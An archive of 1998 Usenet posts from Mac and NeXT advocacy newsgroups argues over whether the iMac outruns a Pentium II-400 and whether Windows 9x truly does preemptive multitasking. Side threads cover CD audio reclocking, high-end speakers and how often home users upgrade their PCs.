References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rd9vo$r45$1@nntp2.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6rd9vo$r45$1@nntp2.ba.best.com>, jpamer@best.com (Joseph
Palmer) wrote:
> >Considering that you can't download a large file and do any browsing at
> >the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
> >think I would put much into this real pre-emptive multi-tasking.
>
> Well, that's not true. I can and frequently do download more than one
> large file (.pdfs mostly) while browsing, and checking mail, printing
> and even reading news.
Sorry, but this is not definitive.
This does not require preemptive multi-tasking; I have been doing the same
on a Mac for years (and the MacOS does not have preemptive multi-tasking).
It requires some form of multi-tasking and/or multi-threading (depending on
which actions you are talking about), but it does not require a preemptive
OS.
For that matter, depending on the settings you use, doing multiple tasks on
a true preemptive multi-tasking OS such as Unix may be difficult if a
background task is given too high a priority.
--
Mark Brandt, Ph.D.
My opinions are my own, but I tend to give them away to anyone who fails to
flee fast enough.
From: Chris.Burchard@studbox.uni-stuttgart.de.trash (Christoph Burchard)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 19 Aug 1998 07:10:10 GMT
Organization: Uni Stuttgart
Message-ID: <Chris.Burchard-1908980909070001@192.168.0.5>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rd9vo$r45$1@nntp2.ba.best.com>
In article <6rd9vo$r45$1@nntp2.ba.best.com>, jpamer@best.com (Joseph
Palmer) wrote:
> Well, that's not true. I can and frequently do download more than one
> large file (.pdfs mostly) while browsing, and checking mail, printing
> and even reading news.
>
> There are plenty of things wrong with Win9X, (Don't get me started)
> but your example is not of them.
I can do that with my Mac also.
Chris
----------------------------------------------------------------------------
*** Remove ".trash" from the email address ***
On the Web:
http://wwwcip.rus.uni-stuttgart.de/~mas11422
http://home.pages.de/~ChrisB
----------------------------------------------------------------------------
MICROSOFT is not the answer...
MICROSOFT is the question...
...and the answer is NO!!!
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Tue, 18 Aug 1998 16:25:47 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rd336$buo$1@plo.sierra.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <joe.ragosta-1808981606460001@wil59.dol.net>
NNTP-Posting-Date: 18 Aug 1998 23:35:02 GMT
Joe Ragosta wrote in message ...
>
>Jobs is practicing marketing. The means carefully selecting your claims to
>support your position. He has not lied in any reasonable sense of the
>word.
From <http://www.apple.com/pr/library/1998/aug/13fast.html>
"The iMac for $1,299 toasts the fastest PC money can buy at any price--the
Pentium II 400," said Steve Jobs, Apple's interim CEO.
That is a lie, period. He is implying overall system performace based on the
flawed (IMO) BYTEmarks. He left out the part about only toasting the PII-400
in BYTEmarks. That is misleading. That is a lie.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Wed, 19 Aug 1998 00:14:50 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1908980014510001@sdn-ar-001casbarp215.dialsprint.net>
References: <slrn6tkmpa.1j5.cjm@herbie.husker> <B1FFBA2B-3E08C@206.165.43.134>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <B1FFBA2B-3E08C@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> >
> >Steve Jobs never lied, and he never asked anyone to lie. Now mind your
> >business, all of you--this is between Steve, the iMac, and their god.
>
>
>
> But I thot that Steve WAS God...
Nah, you got that mixed up. God just THINKS he is Steve Jobs ;)
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: John Jensen <jjens@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 18 Aug 1998 21:31:09 GMT
Organization: Primenet (602)416-7000
Message-ID: <6rcrqt$kjs$1@nnrp02.primenet.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca>
<35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net>
Legacy 'Xunker' <legacy@ieighty.net> wrote:
: No, Apple didn't invent SCSI, but they were the first to employ it.
: Apple didn't inven't ethernet, Bob Metcalfe at PARC did (he also founded
: 3Com), and the concept of a gui was first materialised also at PARC in
: *1980*. Oh, yes, the Firewire concept originally came from CERN.
You know, I remember hardware hackers adding SCSI to the Mac 128 and "fat
mac" 512 when Apple's position was that AppleTalk should be used for
external disks. I _beleive_ that Apple followed these independent hacks
with their own SCSI offering.
It is truely a back to the future thing when the Mac returns to a serial
solution for external disks: AppleTalk in '84, USB in '98.
John
From: Kevin Ward <Kevin@circlesquare.demon.co.uk>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 20:55:09 +0100
Organization: No Organization
Message-ID: <oTjCkFAdwd21EwJz@circlesquare.demon.co.uk>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net>
<6r4rnr$inu$1@plug.news.pipex.net>
<macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>
<joe.ragosta-1608980726050001@elk78.dol.net>
<6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com>
<6ra2ld$3ag@fridge.shore.net>
MIME-Version: 1.0
In article <6ra2ld$3ag@fridge.shore.net>, William Frisbee
<bfrisbee@fuckspam.webengine-db.com> writes
>And watch what happens when those thousands in a few months are stuck with a
>non-upgradeable blue piece of plastic that STILL cannot read a floppy disk
>untill you go out and buy a add-on....
>
I often wonder how many people (Home users) actually upgrade their PC
after the have bought it from 'PC World' (Or whatever large PC store you
have in the States!) ...and if they do upgrade, how long since they
bought it do they upgrade and what do they upgrade?
IMO the average persons' idea of upgrade is BUY A NEW ONE!
Please correct me if I'm wrong...
It's the only way I'll learn!
Kevin Ward
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 16:57:16 -0500
Organization: none
Message-ID: <tim-1808981657170001@jump-tnt-0044.customer.jump.net>
References: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
| Yes but its coming from a MECHANICAL storage device. Unless the motor and
| the 'turntable' spining that disc is perfect and free from any speed variation
| at all, then the bit stream is going to be all over the place.
Sure, it's not going to be perfect -- it doesn't have to be. That's what
the FIFO between the disc and the DAC is for.
| Reclocking
| circuits
| such as FIFOs tend to drop bits and then close-up the spaces, so they
introduce
| as much bit stream error as they correct.
George, what are you talking about?
The data coming from the disc has a clock encoded in the stream. These
samples are fed into a FIFO and are clocked out at a fixed, constant rate
to the DAC. A control feedback loop adjusts the data rate from the disc
to maintain an average FIFO depth. No samples are dropped, unless they
are part of a block error.
--
-- Tim Olson
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 18 Aug 1998 22:37:24 GMT
Organization: University of Maryland, College Park
Message-ID: <6rcvn4$r31$4@hecate.umd.edu>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <35df7da9.24901085@news.calweb.com>,
: hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
: > On Fri, 14 Aug 1998 00:13:24 GMT, quinlan@intergate.bc.ca wrote:
: >
: > >This is an excellent example. If your device is identified as either a
: > >joystick or mouse, the device mill be handled using Apple's default mouse
: > >service routine. This routine only handles relative position movement and a
: > >single button but it still works.
: > >
: >
: > That's nice... windows 95 and 98 do the same thing. It may detect a
: > modem as some generic thing. It'll work, but not as well as if you
: > tell it what your modem really is. Same with a graphics card, or
: > whatever.
: >
: > I fail to be impressed by something that I see as normal.
: That's somewhat true.
: But let's look at video cards. With Win9x, when you install a new video
: card, it starts up with 640x480 resolution and there's nothing you can do
: about it until you locate and install the drivers. With a Mac, you get a
: full range of resolutions on a new card, even before you install the
: drivers.
: That's part of the reason that you have essentially complete computer
: funtionality with a Mac even when you're booting from a floppy disk.
Maybe that's why you have to pay more for the Mac version? The one with
the larger ROM?
: --
: Regards,
: Joe Ragosta
: http://www.dol.net/~Ragosta/complmac.htm
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 16:00:59 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rd1km$bgs$1@plo.sierra.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net>
NNTP-Posting-Date: 18 Aug 1998 23:10:14 GMT
Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
>
>Point of order, though. Win9x doesn't do Premptive MTing, either.. they
>fake it real well.
Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 23:29:28 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35db0e4b.767109@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com>
Mime-Version: 1.0
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Michael Peck <Michael.Peck@ericsson.com>, on Mon, 17 Aug 1998 19:13:56 -0500,
>Ray Fischer wrote:
>
>> Did you also build your own car? Was it easier than buying one
>> pre-assembled?
>
>I was about to say, "A computer isn't really like a car at all", but
>then I realized that some people actually disagree.
I believe the case is that
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 23:33:48 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35dc0e60.788068@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com>
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Michael Peck <Michael.Peck@ericsson.com>, on Mon, 17 Aug 1998 19:13:56 -0500,
>Ray Fischer wrote:
>
>> Did you also build your own car? Was it easier than buying one
>> pre-assembled?
>
>I was about to say, "A computer isn't really like a car at all", but
>then I realized that some people actually disagree.
I believe the case is that everybody *wants* a computer to be like a car.
Which is good. Even the people who don't want computers to be "easy" above
all else want them to be like cars.
People who enjoy using computers (which is almost anyone, quite honestly, if
you can ensure they never have problems with it) simply recognize that, as
much as they might want a computer to be like a car, they also want it to be
much more than a car. So the purchasing, operation, maintenance, and
configuration of a computer requires more active participation than going out,
picking a color and shape you like, and driving around. The only thing that
gets easier is the financing. And that's a very good thing. :-)
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Tue, 18 Aug 1998 18:20:41 -0600
Organization: Stone Entertainment
Message-ID: <stone-1808981820410001@rc-pm3-1-06.enetis.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>
In article <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
(snip)
> Steve Jobs is lieing
I agree for the most part. But I would argue that Steve Jobs is not lying.
A G3 is up to twice as fast as a PentiumII in Byte's Integer benchmark...
there is no argument from either side on that issue. It is a verifiable,
repeatable, provable fact.
So long as Jobs' statements are in respect to THAT FACT. Then he is not
lying. So far I havn't heard anything to the contrary. Everytime he's
claimed in public that the G3 is twice as fast as the PII he refered to
Byte's integer benchmark. Everytime an Apple commercial has come on the
air claiming that the G3 is twice as fast as the PII they've displayed a
disclaimer on the bottom of the screen informing viewers that the claims
are in reference to Byte's integer benchmark.
If there were ever a time when Jobs' generalized the issue, claiming
without reference that the G3 were twice as fast as a PII... then he would
be lying. Otherwise he's just stretching the truth, just as Bill Gates
has done, or any good CEO of a major corporation would do to hype their
product. But I admit, I don't find it difficult to hold a company in
contempt for hyping their product way beyond what it is actualy capable
of. It's no wonder why so many people hate Microsoft. :/
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Wed, 19 Aug 1998 12:31:59 +1200
Organization: University of Auckland
Message-ID: <p.kerr-1908981231590001@news.auckland.ac.nz>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
> seanl@cs.umd.edu (Sean Luke) wrote:
>> Most studios have two pairs of speakers: big huge ones in the back that
>> boom a lot and impress the bigwigs when they want to hear what they paid
>> for, and small, almost consumer-grade, near field studio monitors that are
>> still reasonably flat but are closer to their intended audience. These
>> monitors cost between $250 and $1000, depending on the model. The most
>> common are Yamaha NS10s (but getting up in age now), but there are tons of
>> JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
>> had arranged it, that's what you buy. I's what *they* used to define the
>> sound to begin with. And I guarantee you'll hate it -- not "interesting
>> enough". All $10,000 speakers _really_ do is distort the high and low end
>> frequency levels to make the sound sound more "exciting".
>
>Bullshit. All speakers are flawed.
true
> Cheap ones sound like speakers.
most speakers sound like speakers
>Expensive ones sound like music.
Expensive ones sound like money, or placebos
>To the extent that they sound like music, and in which
>areas of reproduction determine their price point and audience. You listen to
>a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
>Puppy's ($12000/pr) with the proper electronics and tell me that they are
>just distorting things to make them sound more exciting. You shouldn't make
>judgements about things you know don't know anything about.
Many of the expensive speakers have to deal with the crap acoustic
environment in which they are installed, and distort the signal to make a
better sound.
A well designed mastering studio can achieve a high quality of sound with
surprisingly inexpensive and simple monitors.
Sean (probably ;-) and I have put the discs into the boxes, and we know
how easy it is to fool the punters...
--
Peter Kerr bodger
School of Music chandler
University of Auckland New Zealand neo-Luddite
From: alex@webis.net (Alex Kac)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 19:55:51 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1808981955510001@castle.webis.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com>
NNTP-Posting-Date: 19 Aug 1998 00:55:21 GMT
In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
: Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
: >
: >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
: >fake it real well.
:
: Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
Considering that you can't download a large file and do any browsing at
the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
think I would put much into this real pre-emptive multi-tasking.
Heck, the pre-emptive, memory protected OS I wrote for a CS class did better...
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Wed, 19 Aug 1998 01:42:22 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35df2d16.8651511@news.supernews.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net> <ericb-1708981140120001@r4149.resnet.cornell.edu>
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ericb@pobox.com (Eric Bennett), on Mon, 17 Aug 1998 11:40:11 -0500,
>In article <joe.ragosta-1708980828590001@wil51.dol.net>,
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
>> USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
>> limit SCSI to 1.25 MB/sec.
>
>I case you're forgetting, USB is 12 mbit/sec and standard 10bt ethernet is
>10 mbit/sec, so USB is faster.
It doesn't quite work that way. Then again, talking about USB-SCSI and
Etherenet-SCSI adapters (and even calling them "bridges", regardless of vendor
vernacular) is kind of silly to begin with.
> I know the iMac supports 100bt, but does
>the ethernet/SCSI bridge support that, or just 10bt?
Apples and oranges.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net> <oTjCkFAdwd21EwJz@circlesquare.demon.co.uk> <35e7302c.64622203@198.0.0.100>
Message-ID: <35da3b36.0@news.depaul.edu>
Date: 19 Aug 98 02:40:54 GMT
In comp.sys.next.advocacy nate <nhughes@sunflower.com> wrote:
> On Tue, 18 Aug 1998 20:55:09 +0100, Kevin Ward
> <Kevin@circlesquare.demon.co.uk> wrote:
> >have in the States!) ...and if they do upgrade, how long since they
> >bought it do they upgrade and what do they upgrade?
> >
> >IMO the average persons' idea of upgrade is BUY A NEW ONE!
> I'm in the process of "upgrading" a 486 which is about 6 years old
> (estimate). I could get away with replacing the MB and CPU with an
> AMD and reusing the old memory. I'd have to specify a Motherboard
> which uses 30 pin memory, but altogether it would cost about $200.
> I'm taking a slightly different tack. I'm replacing the MB and CPU
> with an AMD K6 233, adding 64 meg of SDRAM into a DIMM slot and adding
> a Viper330 vid card. The entire upgrade is costing about $400.
Fine, but you're not an average person. The Average person buys a whole
new machine, and the old one becomes a 'hand-me-down' - if it doesn't
get shoved in the attic, or sent to the dump.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 19 Aug 1998 04:15:09 GMT
Organization: I don't think so
Message-ID: <slrn6tkkht.1kh.jason@jhste1.dyn.ml.org>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu> <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org> <35D7FC98.C8445170@sci.kun.nl>
Sander Stoks posted the following to comp.sys.mac.advocacy:
>> >If you haven't seen NetPositive, you've never used the BeOS.
>> I've used NetPositive. I've also used Netscape on UNIX. I'll
>> take Netscape on UNIX.
>I wouldn't. I have Netscape here on my nice & fat PPro Linux system,
>and when I open a new window (BTW I'm posting from it just now) my
>machine sighs, sweats, crunches & cracks. My mouse pointer hitches,
>other apps hitch. I can actually count seconds between clicking a
>button and stuff happening. Much better than my Windows95 experience,
>but once you've used BeOS on a similarly spec'ed box, you'll start to
>notice how irritating _waiting_ can be.
Hmmm. I just tried this little stunt on a Linux/PowerPC system (603e/180
- nothing overwhelming for sure) and experienced none of your misfortunes.
Instant window, no slowdown, etc. Perhaps you don't have enough RAM to
keep Netscape happy (I have 96 megs - nothing overwhelming, once again)?
Perhaps BeOS feels so nice because it doesn't have enough apps to keep
the machine busy and in swap? ;) ;)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: seano1@earthlink.net (Sean O'Flaherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 21:36:06 -0700
Organization: EarthLink Network, Inc.
Message-ID: <seano1-1808982136070001@ip39.santa-clara6.ca.pub-ip.psi.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net> <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net>
In article <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>HMMM. I was a participant in a number of double blind tests in which the
>results were fairly consistent and where an overwhelming percentage of
>the participants did, indeed perceive a difference between a treated and
>a non-treated CD.
You say different but not better. I wound what would happened if people
where asked to detect a difference between two identical samples. If you
had two disks with out marked rimes would people detect a difference?
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 04:37:05 GMT
Organization: KU
Message-ID: <35eb5430.73842625@198.0.0.100>
References: <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rd9vo$r45$1@nntp2.ba.best.com>
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NNTP-Posting-Date: 19 Aug 1998 04:40:32 GMT
On Wed, 19 Aug 1998 01:33:03 GMT, jpamer@best.com (Joseph Palmer)
wrote:
>>Considering that you can't download a large file and do any browsing at
>>the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
>>think I would put much into this real pre-emptive multi-tasking.
Considering the fact that I can have a download via FTP going on, as
